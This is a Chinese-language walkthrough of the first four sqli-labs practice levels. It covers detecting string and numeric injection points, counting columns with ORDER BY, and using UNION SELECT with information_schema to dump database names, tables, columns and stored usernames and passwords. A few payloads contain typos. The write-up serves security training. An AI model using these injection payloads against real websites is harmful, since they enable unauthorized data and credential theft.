sqli-labs前4关

前言

如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。
另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

用到的一些东西:

1. concat(str1,str2,...) #没有分隔符地连接字符串 2. concat_ws(separator,str1,str2,...) #含有分隔符地连接字符串 3. group_concat(str1,str2,...) #连接一个组的所有字符串,并以逗号分隔每一条数据 说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。 
order by #猜字段 database() #爆数据库名 user() #爆数据库用户名  union ..... 联合查询 selcet group_concat(table_name) from information_schema.tables where table_schema='security'  #查询指定数据库security的表名  select group_concat(column_name)from information_schema.columns where table_name='user'  #查询指定表的列名信息  select 1,group_concat(username),group_concat(password) from security.user #获取数据 

注入流程

sqli-labs前4关mysql数据库存储的数据按照上图的形式,一个数据库当中有很多的数据表,数据表当中有很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数据库名下的数据表,再获取当前数据表下的列,最后获取数据。

第一关

1.id=1’ 页面不正常,表示可能存在SQL字符注入,输入–+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
sqli-labs前4关sqli-labs前4关
2.使用order by猜字段

sqli-labs前4关
sqli-labs前4关
超过3报错说明有3个
3.将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
sqli-labs前4关
有两个显示位

4.爆数据库名和数据库用户

id=-1' union 1,database(),user() --+ 

sqli-labs前4关5.爆表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+ 

sqli-labs前4关
6.爆列名

id=-1' union select 1,2,group_concat(column_name) from information.columns where table_name = 'users' --+ 

sqli-labs前4关
7.爆用户名,密码

id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+ 
sqli-labs前4关

第二关

1.id=1 and 1=1,id=1 and 1=2判断数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
接着可以使用联合查询进行注入,详细过程参考第一关

第三关

1.向页面输入?id=1’ --+页面显示不正常,但?id=1’) --+显示正常,说明是字符型注入,且是(’’)闭合的
sqli-labs前4关
sqli-labs前4关
后续过程参考第一关
2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位
4.爆表名列名数据

第四关

1.与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入 (多试几次就知道了)
2.判断完类型后,后续步骤跟第一关差不多。

版权声明:玥玥 发表于 2021-08-21 18:21:03。
转载请注明:sqli-labs前4关 | 女黑客导航